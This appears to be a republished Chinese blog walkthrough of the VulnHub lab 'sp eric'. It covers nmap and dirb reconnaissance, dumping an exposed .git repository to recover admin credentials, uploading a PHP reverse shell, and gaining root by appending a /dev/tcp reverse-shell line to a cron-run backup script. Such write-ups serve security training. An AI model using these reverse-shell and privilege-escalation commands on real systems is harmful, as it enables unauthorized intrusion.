当前位置: 首页 > news >正文

vulnhub系列:sp eric

vulnhub系列:sp eric

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

image-20240811143615596

nmap扫描端口,开放端口:22、80

nmap 192.168.23.189 -p- -A -sV -Pn

image-20240811143714473

dirb 扫描目录,.git 源码,admin.php文件,upload目录等

dirb http://192.168.23.189/

image-20240811143733217

访问80端口,没有发现

image-20240811143853630

拼接访问 admin.php ,一个登录框,尝试sql注入,弱口令等,没有结果

image-20240811144043025

看看 .git ,使用 githack 下载源码

python2 GitHack.py -u http://192.168.23.189/.git/

image-20240811145145064

查看下载的源码,发现账号密码

admin:st@mpch0rdt.ightiRu$glo0mappL3

image-20240811145222291

登录 admin 页面

image-20240811144831193

二、getshell

存在文件上传,kali 生成反弹 shell

locate php-reverse-shell.phpcp /usr/share/webshells/php/php-reverse-shell.php .

image-20240811145901688

修改 IP 和端口后上传,上传后没有什么回显

kali 开启监听

nc -lvnp 4444

image-20240811150109682

虽然没有回显,但是访问 /upload/php-reverse-shell.php,成功反弹 shell

image-20240811150257799

三、提权

使用 python 提升交互性,发现没有python

python -c "import pty;pty.spawn('/bin/bash')"

image-20240811150528435

看一下有无 python3

which python3

image-20240811150603275

有 python3,那么用 python3 执行

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240811150651778

在 /home/eric 下发现了 backup.sh,backup.zip,flag.txt 这三个文件

image-20240811150824965

查看 flag.txt

image-20240811150901132

查看 backup.sh

image-20240811151224087

可能是计划任务,看一眼

cat /etc/crontab

image-20240811151349335

看了一下,backup.sh 拥有 root 权限,且我们可写可执行

image-20240811151655658

写入反弹 shell 的语句

echo 'bash -i >& /dev/tcp/192.168.23.133/9999 0>&1' >> backup.sh

image-20240811151837670

kali 开启监听

nc -lvnp 9999

image-20240811151925129

成功反弹 shell ,提权成功,是存在计划任务的

image-20240811152247677

最后在 /root 下发现一个 flag.txt

image-20240811152330931

http://www.lryc.cn/news/421554.html

相关文章:

  • JVM二:JVM类加载机制
  • 对于springboot无法连接redis解决方案
  • 关于android中的各种尺寸与计算
  • MySQL避免索引失效的方法详细介绍
  • 【Java】深入了解 Java 的 charAt() 方法
  • Linux 下 ETCD 安装、配置与命令使用总结
  • C++笔试练习笔记【7】:力扣 91. 解码方法 动态规划练习
  • 【antd】antd3的表单校验不提示报错信息
  • Game AI ——游戏人工智能(逻辑及剧情生成)
  • 算法基础知识——核函数
  • 安卓xml乱码/加密转换:abx2xml和xml2abx使用及源码介绍
  • slice 截取
  • XReparentWindow踩坑分析
  • OpenAI动荡,将走向何方、GPT5或许将近、毒舌AI轻松破防网友、最新版 GPT-4o AI 模型得满分 | AGI视界周刊第 4 期
  • RCE---无字母数字webshell
  • 有意思的漏洞复现与分析一
  • 力扣题解(按身高排序)
  • Redis的六种淘汰策略详解
  • vue3中 ref 和 reactive 的区别
  • 《单例模式的深度解读:实现方式、破坏情况与利弊权衡》
  • 010607电压源和电流源受控源
  • 快乐数求解
  • 运维高级内容--为端口做标记、制定调度规则
  • 后端Web之HTTP协议基础介绍
  • 深入解析Nginx限流策略:如何高效控制访问频率
  • 锂电池剩余寿命预测 | Matlab基于Transformer-GRU的锂电池剩余寿命预测
  • 深入理解Spring的IOC容器与依赖注入
  • Qt读写sysfs
  • 实景三维:解锁地理信息新维度,引领未来城市智慧之钥
  • 汽车免拆诊断案例 | 2010款劳斯莱斯古斯特车中央信息显示屏提示传动系统故障